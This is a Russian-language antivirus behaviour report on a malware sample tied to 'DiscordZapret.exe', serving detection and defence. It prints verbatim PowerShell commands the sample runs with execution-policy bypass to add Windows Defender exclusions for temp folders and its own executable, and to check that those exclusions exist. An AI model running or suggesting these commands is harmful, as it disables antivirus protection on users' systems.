Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp' -ErrorAction Stop"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction Stop"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%TEMP%\DiscordZapret.exe' -ErrorAction Stop"
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\def_excl.log
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "$ex = (Get-MpPreference).ExclusionPath; if ($ex -contains '%LOCALAPPDATA%\Temp') { exit 0 } else { exit 1 }"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "$ex = (Get-MpPreference).ExclusionPath; if ($ex -contains '%WINDIR%\Temp') { exit 0 } else { exit 1 }"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -NoLogo -ExecutionPolicy Bypass -Command "$ex = (Get-MpPreference).ExclusionPath; if ($ex -contains '%TEMP%\DiscordZapret.exe') { exit 0 } else { exit 1 }"
